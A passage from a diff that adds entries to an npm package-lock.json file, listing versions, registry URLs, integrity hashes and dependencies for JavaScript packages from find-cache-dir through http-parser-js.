"sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat-cache": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", + "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==", + "dev": true, + "dependencies": { + "flatted": "^2.0.0", + "rimraf": "2.6.3", + "write": "1.0.3" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/flat-cache/node_modules/rimraf": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", + "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/flatted": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz", + "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==", + "dev": true + }, + "node_modules/follow-redirects": { + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.4.tgz", + "integrity": "sha512-zwGkiSXC1MUJG/qmeIFH2HBJx9u0V46QGUe3YR1fXG8bXQxq7fLj0RjLZQ5nubr9qNJUZrH+xUcwXEoXNpfS+g==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/font-awesome": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz", + "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=", + "engines": { + "node": ">=0.10.3" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/frontend-collective-react-dnd-scrollzone": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/frontend-collective-react-dnd-scrollzone/-/frontend-collective-react-dnd-scrollzone-1.0.2.tgz", + "integrity": "sha512-me/D9PZJq9j/sjEjs/OPmm6V6nbaHbhgeQiwrWu0t35lhwAOKWc+QBzzKKcZQeboYTkgE8UvCD9el+5ANp+g5Q==", + "dependencies": { + "hoist-non-react-statics": "^3.1.0", + "lodash.throttle": "^4.0.1", + "prop-types": "^15.5.9", + "raf": "^3.2.0", + "react": "^16.3.0", + "react-display-name": "^0.2.0", + "react-dom": "^16.3.0" + }, + "peerDependencies": { + "react-dnd": "^7.3.0" + } + }, + "node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz", + "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==", + "dev": true + }, + "node_modules/fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stdin": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", + "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/global": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", + "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==", + "dependencies": { + "min-document": "^2.19.0", + "process": "^0.11.10" + } + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globby": { + "version": "11.0.4", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.4.tgz", + "integrity": "sha512-9O4MVG9ioZJ08ffbcyVYyLOJLk5JQ688pJ4eMGLpdWLHq/Wr1D9BlriLQyL0E+jbkuePVZXYFj47QM/v093wHg==", + "dev": true, + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.1.1", + "ignore": "^5.1.4", + "merge2": "^1.3.0", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/globby/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/globjoin": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/globjoin/-/globjoin-0.1.4.tgz", + "integrity": "sha1-L0SUrIkZ43Z8XLtpHp9GMyQoXUM=", + "dev": true + }, + "node_modules/gonzales-pe": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/gonzales-pe/-/gonzales-pe-4.3.0.tgz", + "integrity": "sha512-otgSPpUmdWJ43VXyiNgEYE4luzHCL2pz4wQ0OnDluC6Eg4Ko3Vexy/SrSynglw/eR+OhkzmqFCZa/OFa/RgAOQ==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "gonzales": "bin/gonzales.js" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==" + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "dev": true + }, + "node_modules/hard-rejection": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", + "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", + "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hosted-git-info": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", + "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/html-entities": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.2.tgz", + "integrity": "sha512-c3Ab/url5ksaT0WyleslpBEthOzWhrjQbg75y7XUsfSzi3Dgzt0l8w5e7DylRn15MTlMMD58dTfzddNS2kcAjQ==", + "dev": true + }, + "node_modules/html-loader": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/html-loader/-/html-loader-0.5.5.tgz", + "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", + "dev": true, + "dependencies": { + "es6-templates": "^0.2.3", + "fastparse": "^1.1.1", + "html-minifier": "^3.5.8", + "loader-utils": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/html-minifier": { + "version": "3.5.21", + "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz", + "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==", + "dev": true, + "dependencies": { + "camel-case": "3.0.x", + "clean-css": "4.2.x", + "commander": "2.17.x", + "he": "1.2.x", + "param-case": "2.1.x", + "relateurl": "0.2.x", + "uglify-js": "3.4.x" + }, + "bin": { + "html-minifier": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/html-minifier-terser": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz", + "integrity": "sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg==", + "dev": true, + "dependencies": { + "camel-case": "^4.1.1", + "clean-css": "^4.2.3", + "commander": "^4.1.1", + "he": "^1.2.0", + "param-case": "^3.0.3", + "relateurl": "^0.2.7", + "terser": "^4.6.3" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/html-minifier-terser/node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/html-minifier-terser/node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/html-minifier-terser/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/html-minifier-terser/node_modules/terser": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", + "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", + "dev": true, + "dependencies": { + "commander": "^2.20.0", + "source-map": "~0.6.1", + "source-map-support": "~0.5.12" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/html-minifier-terser/node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/html-minifier-terser/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/html-minifier/node_modules/commander": { + "version": "2.17.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz", + "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==", + "dev": true + }, + "node_modules/html-tags": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.1.0.tgz", + "integrity": "sha512-1qYz89hW3lFDEazhjW0yVAV87lw8lVkrJocr72XmBkMKsoSVJCQx3W8BXsC7hO2qAt8BoVjYjtAcZ9perqGnNg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.3.2.tgz", + "integrity": "sha512-HvB33boVNCz2lTyBsSiMffsJ+m0YLIQ+pskblXgN9fnjS1BgEcuAfdInfXfGrkdXV406k9FiDi86eVCDBgJOyQ==", + "dev": true, + "dependencies": { + "@types/html-minifier-terser": "^5.0.0", + "html-minifier-terser": "^5.0.1", + "lodash": "^4.17.21", + "pretty-error": "^3.0.4", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "webpack": "^5.20.0" + } + }, + "node_modules/html-webpack-plugin/node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/htmlparser2": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz", + "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==", + "dev": true, + "dependencies": { + "domelementtype": "^1.3.1", + "domhandler": "^2.3.0", + "domutils": "^1.5.1", + "entities": "^1.1.1", + "inherits": "^2.0.1", + "readable-stream": "^3.1.1" + } + }, + "node_modules/htmlparser2/node_modules/entities": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==", + "dev": true + }, + "node_modules/htmlparser2/node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=", + "dev": true + }, + "node_modules/http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/http-errors/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true + }, + "node_modules/http-parser-js": { + "version": "0.5.3", + "resolved": 